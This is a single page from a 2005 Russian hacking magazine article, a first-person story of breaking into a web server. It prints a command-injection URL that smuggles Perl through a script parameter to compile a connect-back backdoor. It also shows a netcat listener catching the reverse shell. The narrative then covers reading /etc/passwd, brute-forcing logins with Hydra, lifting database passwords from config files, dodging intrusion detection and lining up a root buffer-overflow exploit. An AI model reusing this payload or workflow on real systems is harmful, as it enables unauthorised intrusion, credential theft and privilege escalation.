Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #82, ОКТЯБРЬ 2005 г.

Ночная бомбардировка

_1nf3ct0r_ (dr.pascal@mail.ru)

Хакер, номер #082, стр. 082-054-3


www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS-e$IFS"print$IFS.chr(39).gcc$IFSconnback.c$IFS.chr(45).$IFS.chr(47).tmp.chr(47).connback.chr(39)"|`

Программа собралась удачно и я запустил ее, установив в бэкдоре 80 портов для подключения - чтобы строгий файрвол пропустил соединение. Затем я запустил на собственном дедике неткат на 80 порту и стал ждать коннекта:

nc -l -p 80

Бэкдор успешно соединился и я получил доступ к полноценной командной оболочке.

[дайте рута после брута]

Получить шелл - значит получить и файл /etc/passwd. Я достал файл паролей (cat /etc/passwd), установил уникальный брутфорсер Hydra от THC (об этом брутфорсе мы писали в январе) и начал брутфорсить пароли системных пользователей. Я сбрутфорсил всего два пароля, однако полученные учетные записи были ограничены по своим возможностям. Однако локальные привилегии - это уже большое дело, мои шансы на взлом резко возросли.

[неожиданный поворот событий]

К моему сожалению, все history-файлы, которые я смог отыскать (.bash_history, .mysql_hisory), не дали мне ничего хорошего, зато я легко узнал полный путь к WWW-каталогу, прочитав httpd.conf. Вскоре я нашел *.inc-файл с настройками какой-то PHP-системы, в которой обнаружил информацию для соединения с базой данных MySQL. К MySQL эти пароли подошли, а вот на FTP и SSH меня с ними не пустили. Насколько я понял, администратор поставил на все сервисы разные пароли, что опять-таки свидетельствует в пользу его квалификации. Как я уже отмечал, на сервере стоял пропатченный Linux, версии системных демонов были также стабильными и казалось, что поднять привилегии невозможно. Но я не сдавался, и принялся досконально изучать систему. На сервере крутилась куча IDS - PortSentry, Chrootkit и Snort. Стоило быть поаккуратнее. Команда last -10 говорила о том, что админ регулярно появляется в системе. После просмотра процессов системы (ps -ax), я заметил один знакомый процесс - sysad3. Было такое ощущение, что я его где-то видел. И в самом деле, я уже встречал это приложение в одной из директорий сервера в виде исходника на C. Скачав себе сишник, я понял, что админ является кодером по совместительству. Он наколбасил самопальную утилиту, которая следила за состоянием системы, но была еще довольно-таки сырой. Читая исходный код этой утилиты, я нашел в ней баг - переполнение буфера, что явилось для меня неожиданностью. Однако все это могло дать неограниченные возможности в системе, поскольку программа была запущена под рутовыми привилегиями - оставалось написать грамотный шелл-код, и получить абсолютный доступ к системе.

[не дом и не улица]

Давай вспомним, что же является главным фактором успеха в атаках на переполнение буфера? Правильно, корректная подмена адреса возврата, на тот, по которому лежит хакерский выполняемый код - например, функция на вызов командного интерпретатора с рутовыми привилегиями. Именно это и было моей целью. Сейчас я расскажу тебе, как мне удалось написать эксплойт для самопальной админской программы. Если buffer overflow - это пробел в твоих знаниях, то советую обратиться к соответствующему спецвыпуску Х.

Назад на стр. 082-054-2  Содержание  Вперед на стр. 082-054-4